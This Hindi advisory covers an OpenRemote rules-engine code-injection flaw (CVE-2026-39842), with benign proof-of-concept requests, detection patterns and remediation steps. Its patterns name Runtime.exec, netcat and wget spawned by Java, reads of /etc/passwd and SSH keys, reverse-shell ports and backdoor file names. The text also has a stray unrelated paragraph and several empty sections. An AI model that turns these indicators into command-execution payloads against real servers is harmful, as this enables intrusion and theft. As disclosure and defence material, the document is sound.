1. OpenRemote संस्करण पहचानें```bash curl -s http://target:8080/api/info | jq .
यह टूल आपको अपने नेटवर्क पर विभिन्न सेवाओं की पहचान करने और उनका विश्लेषण करने में मदद करता है। यह पोर्ट स्कैनिंग, सेवा पहचान और कमजोरियों की जांच के लिए एक व्यापक समाधान प्रदान करता है।```json
{
"version": "1.21.0",
"name": "OpenRemote",
"instanceId": "instance-123"
}
2. नियम एंडपॉइंट की जाँच करें```bash
curl -s -H "Authorization: Bearer TOKEN"
http://target:8080/api/master/rules/realm | head -20
यदि 401 या 403 लौटता है, तो एंडपॉइंट मौजूद है लेकिन उसे प्रमाणीकरण की आवश्यकता है।
**3. प्रमाणीकरण करें और एक्सप्रेशन इंजेक्शन का परीक्षण करें**```bash
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "test_rule",
"trigger": "timer",
"ruleExpression": "1 + 1"
}' \
http://target:8080/api/master/rules/realm
यदि सफल निर्माण और संस्करण <= 1.21.0 है, तो इंस्टेंस असुरक्षित है।
4. जावास्क्रिप्ट निष्पादन का परीक्षण (प्रूफ ऑफ कॉन्सेप्ट)```bash
curl -X POST
-H "Content-Type: application/json"
-H "Authorization: Bearer YOUR_TOKEN"
-d '{
"name": "poc_rule",
"trigger": "timer",
"ruleExpression": "var x = 5; x * 2;"
}'
http://target:8080/api/master/rules/realm
**5. रियल्म का नाम पहचानें**```bash
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/admin/realms | jq .[].name
Common realm names: master, default, main
इन पैटर्न के लिए एप्लिकेशन लॉग खोजें:
JavaScript पेलोड के साथ नियम निर्माण (Rule Creation with JavaScript Payload)``` Pattern: POST /api/./rules/. with JavaScript containing Java.type Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
**नियमों में कमांड निष्पादन के प्रयास**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
Java से अप्रत्याशित प्रोसेस निष्पादन``` Pattern: Child processes spawned by OpenRemote Java process Command: ps aux | grep -i openremote Look for: bash, sh, curl, wget, nc spawned by java process
**फ़ाइल सिस्टम एक्सेस विसंगतियाँ**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
डेटाबेस एक्सेस पैटर्न``` Pattern: SELECT queries accessing other realms' data Anomaly: Queries from rules engine accessing cross-tenant data Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
### नेटवर्क संकेतक
**OpenRemote प्रक्रिया से बाहरी कनेक्शन**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
रिवर्स शेल कॉलबैक``` Pattern: Outbound TCP/UDP connections from port 8080 server Destinations: Suspicious IPs, non-standard ports Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
**पार्श्व गति के प्रयास**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
OpenRemote निर्देशिका में संदिग्ध फ़ाइलें``` /opt/openremote/.backdoor /opt/openremote/shell.sh /opt/openremote/config/stolen_data.txt /var/tmp/openremote_exploit /tmp/.java*
**संशोधित OpenRemote बाइनरीज़**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
क्रॉन या पर्सिस्टेंस जॉब्स``` cat /etc/cron.d/* | grep openremote cat /var/spool/cron/crontabs/* | grep -i java cat ~/.bashrc ~/.bash_profile | grep -v '^#'
### मेमोरी और प्रोसेस संकेतक
**संदिग्ध पर्यावरण चर**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
मेमोरी-रेसिडेंट पेलोड``` strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
---
## निवारण
### तत्काल कार्रवाइयाँ (0-24 घंटे)
**1. फिक्स्ड संस्करण में अपग्रेड करें**
पूर्ण सुधार केवल OpenRemote 1.22.0+ में उपलब्ध है, जो जावास्क्रिप्ट नियम इंजन को पूरी तरह से हटा देता है।```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql
# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote
# Verify version
curl -s http://localhost:8080/api/info | jq .version
2. API एक्सेस प्रतिबंधित करें
यदि तत्काल अपग्रेड संभव नहीं है, तो फ़ायरवॉल/रिवर्स प्रॉक्सी स्तर पर कमजोर एंडपॉइंट्स तक पहुंच प्रतिबंधित करें:```nginx
location ~ ^/api/.*/rules/ { return 403; }
**3. सक्रिय नियमों का ऑडिट करें**
सभी मौजूदा नियमों की सूची बनाएं और संदिग्ध JavaScript के लिए समीक्षा करें:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm | \
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
Delete करें Java interop वाले किसी भी नियम को:```bash
curl -X DELETE
-H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/master/rules/realm/{RULE_ID}
**4. एक्सेस लॉग की समीक्षा करें**
पिछले 30 दिनों में शोषण के प्रयासों की जाँच करें:```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
grep -i "java\|runtime\|exec\|type"
5. क्रेडेंशियल रोटेशन
संभावित रूप से उजागर हुए सभी क्रेडेंशियल्स को रोटेट करें:```
### अल्पकालिक कार्रवाइयाँ (1-7 दिन)
**1. नेटवर्क विभाजन**
OpenRemote API एक्सेस को केवल अधिकृत नेटवर्क तक सीमित करें:```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
2. भूमिका ऑडिट
write:rules भूमिका वाले उपयोगकर्ताओं की समीक्षा करें और उन्हें न्यूनतम करें:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/admin/users |
jq '.[] | select(.roles | contains("write:rules"))'
Remove `write:rules` भूमिका को सभी गैर-आवश्यक उपयोगकर्ताओं से हटाएँ।
**3. अनुरोध लॉगिंग सक्षम करें**
सभी API अनुरोधों के लिए विस्तृत लॉगिंग कॉन्फ़िगर करें:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
4. डेटाबेस ऑडिट
किसी विशिष्ट तिथि के बाद बनाए गए दुर्भावनापूर्ण नियमों के लिए डेटाबेस खोजें:```sql SELECT id, name, ruleset_def, created_on FROM RULE WHERE created_on > '2026-04-01' AND ( ruleset_def LIKE '%Java.type%' OR ruleset_def LIKE '%Runtime%' OR ruleset_def LIKE '%exec%' );
**5. खतरे की खोज (Threat Hunting)**
OpenRemote सर्वर पर पूर्ण सुरक्षा स्कैन चलाएँ:```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/
# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings
# File integrity verification
aide --check
1. पूर्ण सिस्टम हार्डनिंग
2. एक्सेस कंट्रोल कार्यान्वयन
3. एप्लिकेशन सुरक्षा
4. निगरानी और अलर्टिंग
SIEM डिटेक्शन नियम तैनात करें:``` Alert on:
**5. घटना प्रतिक्रिया योजना**
घटना प्रतिक्रिया प्रक्रियाएँ बनाएँ और उनका परीक्षण करें:
- समझौता किए गए OpenRemote इंस्टेंस के लिए अलगाव चरण
- फोरेंसिक संग्रह प्रक्रियाएँ
- प्रभावित ग्राहकों के लिए अधिसूचना प्रक्रियाएँ
- पुनर्प्राप्ति और सफाई प्रक्रियाएँ
- घटना के बाद की समीक्षाएँ
**6. निरंतर निगरानी**
निरंतर सुरक्षा निगरानी लागू करें:```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
$(cat /etc/openremote/monitored_hosts.txt) \
--script-args 'onerror=continue' \
-oX /var/log/openremote-scan.xml
# Automated alerts for vulnerable versions
if version <= 1.21.0; then
send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
केरेम ओरुक
सुरक्षा शोधकर्ता, भेद्यता प्रकटीकरण
इस भेद्यता के संबंध में प्रश्नों, रिपोर्टों या अतिरिक्त जानकारी के लिए, कृपया जिम्मेदार प्रकटीकरण चैनलों के माध्यम से लेखक से संपर्क करें।
अंतिम अद्यतन: 2026-04-16 संस्करण: 1.0 स्थिति: सार्वजनिक
| पहलू | विवरण |
|---|
| CVE ID | CVE-2026-39842 |
| GHSA ID | GHSA-7mqr-33rv-p3mp |
| भेद्यता प्रकार | कोड इंजेक्शन / एक्सप्रेशन लैंग्वेज इंजेक्शन |
| CVSS स्कोर | 10.0 (क्रिटिकल) |
| CWE | CWE-94, CWE-917 |
| उत्पाद | OpenRemote |
| प्रभावित संस्करण | <= 1.21.0 |
| फिक्स्ड संस्करण | >= 1.22.0 |
| प्रमाणीकरण आवश्यक | हाँ |
| आवश्यक विशेषाधिकार स्तर | write:rules भूमिका (गैर-सुपरयूज़र) |
| कमजोर एंडपॉइंट | POST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset |
| RCE निष्पादन स्तर | root |
| शोषण क्षमता | उच्च |
| जटिलता | निम्न |
| खोज तिथि | 2026 |